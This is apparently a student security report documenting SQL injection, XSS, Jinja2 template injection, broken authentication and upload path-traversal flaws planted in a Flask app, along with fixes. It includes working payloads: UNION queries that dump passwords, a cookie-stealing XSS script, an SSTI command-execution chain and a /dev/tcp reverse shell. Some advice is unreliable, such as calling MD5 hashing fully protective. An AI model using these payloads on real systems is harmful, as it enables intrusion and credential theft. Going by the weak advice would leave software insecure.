Project 1: Vulnerabilities - Equipa 27

Index

Analysis

Vulnerabilities

1. CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

SQL Injection is a simple vulnerability that lets normal users do simple/difficult queries in the app database from the application, where it shouldn't be possible.
In this project, we added this vulnerability in both the Login and Register, as well as in the home page, when we add a new user.

We can use it like this:

```
- ' or 1 = 1 -- // select * from user          # SQL query with SQLi
- ' or 1 = 1; --                              # simple SQLi
- ' or 1 = 1 -- //                            # simple SQLi
```

To fix this problem, instead of giving the parameters in the middle of the string, we use a string format,

```
cur.execute(SELECT * FROM User WHERE username = \''+ user +'\' AND password = \''+ user_pass +'\'')
cur.execute('SELECT * FROM User WHERE (username = ?) AND (password = ?)', (user, user_pass))
```

We also implemented the possibility to do an error based data extraction and blind injection; in the register modal, we can put in the username a sql command, which will give us an error and show the debugging in the error of the sql database, like this, we can obtain some info about the database, although it is an insert operation and is harder to obtain from. At the login page, we can use blind injection, if we know any user, for example, admin, if we use as password the code `' OR password LIKE 'a% '` that will try to find a password which begins with the letter a; creating a script that will execute the code with all the alphabet letters, and will find the password in no time, being able to login in the website.

This was fixed by adding some text converters so the text is not being mistaken as sql code, by formatting the input arguments,

```
SELECT * FROM User WHERE (username = ?) AND (password = ?)', (user,
hashlib.md5(user_pass.encode("utf-8", errors='static')).hexdigest())
```

For the add_users bar and search bar we can print a table which will show us all the users and the respective passwords,

```
' UNION SELECT * FROM User; --
' UNION SELECT null, username, password FROM User; --
```

2. CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Cross-site scripting is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to roundabout the same origin policy, which is designed to segregate different websites from each other. We have two types of Cross-Site Scripting: Stored and Reflected.

The Stored XSS happens anywhere that usernames are loaded. When a user tries to register, he needs to type the username and password. In the username, the user can put a script, which will be executed every time the username is loaded.
The Reflected XSS happens in the search bar of the main menu. A script can be searched and will be executed, which means that a URL containing a malicious script in the `__username__` parameter will be executed.

Both of these vulnerabilities happen because in the html where the username and search results are being displayed we put `" | safe"`. This was needed since we used Flask, which already has measures to combat and stop XSS. To solve these vulnerabilities, we simply need to remove the `"| safe "`.

```
{% for u in lista %}
     <tr>
         <td>{{ u[0] | safe }}</td>
         <td>{{ u[1] | safe }}</td>
         <td>{{ u[2] | safe }}</td>
     </tr>
{% endfor %}
```

If we want to test this and:

- Prove that Stored XSS can be done, which makes a simple alert with “XSS” written on it appear, we should register a user with `potato<script>alert("XSS");</script>` as the username, and `potato` as the password. When searching for the user we need to use `potato`.

- Prove that the Reflected XSS can be done, which makes appear the same alert with “XSS” written on it, we need to register a new user, with the next string as the username `legituser<script>$.ajax({url:"http://localhost:8000/cookie", type:"POST", data: "username=Administrator; cookie=x" + document.cookie,});`, and `legituser`, as the password. When someone else logs in, and tries to add the `legituser` to the project, the user cookie is sent to the *hacker_server.py*, which prints the cookie in the console. Example:

```
Data sent from: http://localhost:5000/ at 2021-11-12 15:48:30.464491 This is data: {'username': ['Administrator;cookie=xsession=eyJsb2dnZWQiOnRydWUsInByb2plY3RfaWQiOjEsInVzZXJuYW1lIjoidGVzdGV0In0.YY6MyA.C7LZkVTU2vuyh5DLphUr89VWWhQ']}
```

The Result should come in a link like this:
http://localhost:5000/searchUser?username=batata%3Cscript%3Ealert%28%22XSS%22%29%3B+%3C%2Fscript%3E

3. CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (Jinja2)

Modern web applications normally use templates rendered at server side, this offers an opportunity for malicious users to utilize their skills and exploit bad habits such as trusting server input.

Jinja already offers some kind of protection against that, one example is that some commands such as import don't work in any case, even when it's possible to inject something like this `{{ 7*7 }}` , it's not possible to do something like `{{ from os import popen;popen("id").read() }}` .

So what we can do is take advantage of the fact that everything in python is an object and try to surf builtin methods and variables to achieve the code presented before. In order to do that we just need to find a class or a subclass that imports os or whatever we may want, and if we take a look at the output of this line in any python interactive or non-interactive console:
`‘.__class__.__base__.__subclasses__()[140].__init__.__globals__['sys'].modules["os"].popen("id").read()`

We see that `id` gets called and it's output is printed on screen, and we can do it without having to import that same module.

So now we can do whatever we want, we can execute any code, remove files, create a socket and get a shell on the server, transfer the database into our possession, the possibilities are endless.

Another way to exploit this vulnerability is to instead of executing a command like `id`, what we do is to insert some code directly into the server code, `app.py`, because that code will alway be executed, so for instance if we append to that file the following code what we get is a way to produce a reverse shell meaning that we achieved RCE, remote code execution.

```
{{''.__class__.__base__.__subclasses__()[140].__init__.__globals__['sys'].modules["os"].popen("sh -i >& /dev/tcp/127.0.0.1/9002 0>&1").read() }}
```

To fix all problems, instead of using `render_template_string(templateString)`, we should use `render_template("searchResult.html")`, andwe don’t use the suffix `"|safe "`, already shown before.

4. CWE-287: Improper Authentication

Improper Authentication is a vulnerability that lets us do tasks like an administrator, without the application realizing, or when it does, not refusing it, or if not as the administrator, letting us do something only an administrator has the permissions to do.

In this project, we added this vulnerability by letting the normal user add the user `admin`, which shouldn't be possible because he shouldn't have the permission to do so. The application actually recognizes that the normal user can't add `admin`, but it's bypassed automatically, only printing an error message. If we also add a user that starts with `a` or has any substring of the word `admin`, it bypasses security and adds all users with that substring, including `admin`.

To fix this problem, instead of letting the code run, we can simply return nothing, or return to the last page, when we know the username searched for is `admin`, or letting it run when searching for a user with a substring of `admin`, but not adding it.

In Python:

```
if user == "admin":
     return render_template("home.html", user=users, admin=True)
```

In Html:

```
{% if admin %}
<div id="id02" class="modal" style="display:block">
 <span onclick="document.getElementById('id02').style.display='none'"
class="close" title="Close Modal">&times;</span>

 <!-- Modal Content -->
 <form class="modal-content animate" style="background-color:
transparent; border: transparent" action="/search" method="POST">

   <div class="container">
      <div class="alert">
       <span class="closebtn"
onclick="this.parentElement.style.display='none';
document.getElementById('id02').style.display='none';">&times;</span>
         You do Not have permissions to add admin
     </div>
   </div>
 </form>
</div>
{% endif %}
```

5. CWE 522: Insufficiently Protected Credentials

The application transmits and/or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

In this project, when we register we save the passwords as plain text, instead of having a better way to encode it. So if we just encode the password before inserting it into the database, then it's completely protected.

In Python, where `user_pass` is the normal string password:
`hashlib.md5(user_pass.encode("utf-8", errors='static')).hexdigest()`

6. CWE-434: Unrestricted Upload of File with Dangerous Type

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

When saving a file, this app joins the filename with a static upload directory so by passing a filename such as `../../app.py` the file named `app.py` located at `static/images/../..` Which is basically the root of the app will be overwritten by whatever the malicious user wants to. Therefore it will be possible to include code into that server that will always be executed whenever someone does something on the website.

Also by combining this vulnerability with `CWE-1336`, (Jinja2), it's also possible to execute large amounts of code and leak out server codes, to later be revamped and remade in a way that favors the attacker.

To further explore this vulnerabilities there is a route, `'/template_injection'` that renders a template named demo.html which is easier to use when understanding this vulnerability instead of having to constantly replace any other route that explores the other vulnerabilities.

In order to avoid this issue before saving the file the server should transform any file with dangerous characters with a safe one, this can be achieved by invoking the function secure_filename on the filename, that way directory transversal will be impossible to do.

Another important thing to consider is to check the file extension, and if that extension dangerous we simply denied that file and make the user register again with another file.

Honorable Mentions

1. CWE-319: Cleartext Transmission of Sensitive Information

The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors. In this project, the application is deployed in http, instead of https, which is the whole problem.

Even though the solution is simple, it's extremely complicated and we couldn't change to https. Changing it would mean having a license so we can have a safer web application, but those are very hard to get and not very accessible to university students.

Bibliography

Vulnerabilities

https://cwe.mitre.org/data/definitions/89.html
https://cwe.mitre.org/data/definitions/79.html
https://cwe.mitre.org/data/definitions/1336.html
https://cwe.mitre.org/data/definitions/287.html
https://cwe.mitre.org/data/definitions/522.html
https://cwe.mitre.org/data/definitions/434.html

Honorable Mentions

https://cwe.mitre.org/data/definitions/319.html

Diverse

https://www.revshells.com/
https://smirnov-am.github.io/securing-flask-web-applications/
http://sweet.ua.pt/jpbarraca/course/sio-2122/lab-xss/
https://www.exploit-db.com/exploits/46386
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---template-format
https://akshukatkar.medium.com/rce-with-flask-jinja-template-injection-ea5d0201b870
https://python.hotexamples.com/examples/flask/Flask/config%5B%27SESSION_COOKIE_HTTPONLY%27%5D/python-flask-config%5B%27session_cookie_httponly%27%5D-method-examples.html
https://www.youtube.com/watch?v=SN6EVIG4c-0